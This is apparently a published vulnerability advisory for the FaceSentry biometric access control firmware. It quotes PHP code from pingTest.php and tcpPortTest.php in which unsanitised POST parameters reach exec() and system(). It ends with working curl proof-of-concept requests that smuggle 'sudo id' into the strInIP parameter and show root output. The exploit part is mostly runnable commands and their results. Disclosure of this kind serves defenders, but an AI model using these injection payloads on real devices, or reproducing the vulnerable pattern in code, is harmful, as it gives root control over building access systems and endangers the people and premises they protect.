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FaceSentry Access Control System 6.4.8 Remote Command Injection  
  
  
Vendor: iWT Ltd.  
Product web page: http://www.iwt.com.hk  
Affected version: Firmware 6.4.8 build 264 (Algorithm A16)  
Firmware 5.7.2 build 568 (Algorithm A14)  
Firmware 5.7.0 build 539 (Algorithm A14)  
  
Summary: FaceSentry 5AN is a revolutionary smart identity  
management appliance that offers entry via biometric face  
identification, contactless smart card, staff ID, or QR-code.  
The QR-code upgrade allows you to share an eKey with guests  
while you're away from your Office and monitor all activity  
via the web administration tool. Powered by standard PoE  
(Power over Ethernet), FaceSEntry 5AN can be installed in  
minutes with only 6 screws. FaceSentry 5AN is a true enterprise  
grade access control or time-and-attendance appliance.  
  
Desc: FaceSentry suffers from an authenticated OS command  
injection vulnerability using default credentials. This can  
be exploited to inject and execute arbitrary shell commands  
as the root user via the 'strInIP' and 'strInPort' parameters  
(POST) in pingTest and tcpPortTest PHP scripts.  
  
==============================================================  
/pingTest.php:  
--------------  
8: if (!isAuth('TestTools','R')){  
9: echo "No Permission";  
10: include("footer.php");  
11: exit;  
12: }  
13:  
14: if(isset($_POST["strInIP"])){  
15: $strInIP = $_POST["strInIP"];  
16: }else{  
17: $strInIP = "";  
18: }  
19:  
20: $strOperationResult = "";  
21: if ($strInIP != ""){  
22:  
23: $out = array();  
24: exec("sudo ping -c 4 $strInIP",$out);  
25: $result = "";  
26: foreach($out as $line){  
27: $result = $result.$line."<br>";  
28: }  
  
--------------------------------------------------------------  
/tcpPortTest.php:  
-----------------  
14: if (isset($_POST["strInIP"])){  
15: $strInIP = $_POST["strInIP"];  
16: }else{  
17: $strInIP = "";  
18: }  
19: if (isset($_POST["strInPort"])){  
20: $strInPort = $_POST["strInPort"];  
21: }else{  
22: $strInPort = "";  
23: }  
..  
..  
53: $strOperationResult = "";  
54: if ($strInIP != "" and $strInPort != ""){  
55: $fp = fsockopen($strInIP, $strInPort, $errno, $errstr, 10);  
56: system("date>>".TCP_PORT_TEST);  
57: if (!$fp) {  
58: $strOperationResult = getDisplay("TestTools.TCPPortTestFail")." $errstr ($errno)";  
59: system("echo -e \"Unable to connect to $strInIP:$strInPort\">>".TCP_PORT_TEST);  
60: } else {  
61: fclose($fp);  
62: $strOperationResult = getDisplay("TestTools.TCPPortTestSucces");  
63: system("echo -e \"Successfully connected to $strInIP:$strInPort\">>".TCP_PORT_TEST);  
64: }  
65: }  
==============================================================  
  
Tested on: Linux 4.14.18-sunxi (armv7l) Ubuntu 16.04.4 LTS (Xenial Xerus)  
Linux 3.4.113-sun8i (armv7l)  
PHP/7.0.30-0ubuntu0.16.04.1  
PHP/7.0.22-0ubuntu0.16.04.1  
lighttpd/1.4.35  
Armbian 5.38  
Sunxi Linux (sun8i generation)  
Orange Pi PC +  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2019-5523  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5523.php  
  
  
28.05.2019  
  
--  
  
  
$ curl -X POST 'http://192.168.11.1/tcpPortTest.php' \  
--data 'strInIP=1.2.3.4`sudo id > garbage.txt`&strInPort=80' \  
-H 'Cookie: PHPSESSID=21t4idf15fnkd61rerql9al4n3'  
  
$ curl http://192.168.11.1/garbage.txt  
uid=0(root) gid=0(root) groups=0(root)  
  
  
--------------------------------------------------------------------------------  
  
  
$ curl -X POST 'http://192.168.11.1/pingTest.php' \  
--data 'strInIP=;sudo id' \  
-H 'Cookie: PHPSESSID=21t4idf15fnkd61rerql9al4n3' \  
|grep uid  
  
% Total % Received % Xferd Average Speed Time Time Time Current  
Dload Upload Total Spent Left Speed  
100 7726 0 7697 100 29 10180 38 --:--:-- --:--:-- --:--:-- 10181  
<font color='red'>Ping Test Fail! (;sudo id)<br>uid=0(root) gid=0(root) groups=0(root)<br></font><div id="six_tab_pages_nav" class="six_tab_pages_nav">